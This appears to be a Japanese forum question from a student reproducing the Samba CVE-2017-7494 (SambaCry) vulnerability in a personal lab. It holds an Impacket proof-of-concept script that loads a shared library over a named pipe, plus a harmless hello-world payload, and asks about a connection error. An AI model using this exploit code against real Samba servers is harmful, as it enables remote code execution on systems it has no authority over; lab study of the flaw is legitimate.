私は小規模な学校のサイバーセキュリティ プロジェクトを行っています。私の Python (Impacket ライブラリ: RPC のトランスポート モジュール) スクリプトに小さなバグが 1 つあります。これは非常に単純なスクリプトであり、ペイロードは GitHub で参照できます: https://github.com/omri9741/cve-2017-7494/blob/master/exploit.py
from optparse import OptionParser
from impacket.dcerpc.v5 import transport
def main():
parser = OptionParser()
parser.add_option("-t", "--target", dest="target", help="target ip address")
parser.add_option("-m", "--module", dest="module", help="module path on
target server")
(options, args) = parser.parse_args()
if options.target and options.module:
stringbinding = r'ncacn_np:%s[\pipe\%s]' % (options.target, options.module)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
dce = rpctransport.get_dce_rpc()
dce.connect()
else:
parser.print_help()
if __name__=="__main__":
main()
Samba サーバー (4.5.8) を含むシステム全体 (Kali Linux 2017.1) をセットアップしました。Samba 共有は既に動作テスト済みです (接続 OK ファイル転送 OK)。ファイアウォール サービスが実行されていないことを確認。ペイロードは、C ファイルから共有オブジェクト libpoc.so にも組み込まれています。
#include <stdio.h>
int samba_init_module(void)
{
printf("hello from cve-2017-7494 poc! ;)\n");
return 0;
}
そしてヘッダーファイル:
#ifndef poc_h__
#define poc_h__
extern int samba_init_module(void);
#endif // poc_h__
コマンドを実行する場合:
python exploit.py -t //localhost/pentest -m /localhost/pentest/libpoc.so
トレースバック ログを取得します。
raise socket.error ("Connection error (%s:%s)" % (peer[0], peer[1]), e) socket.error:
[Errno Connection error (localhost/pentest:445)] [Errno -2] Name or service not known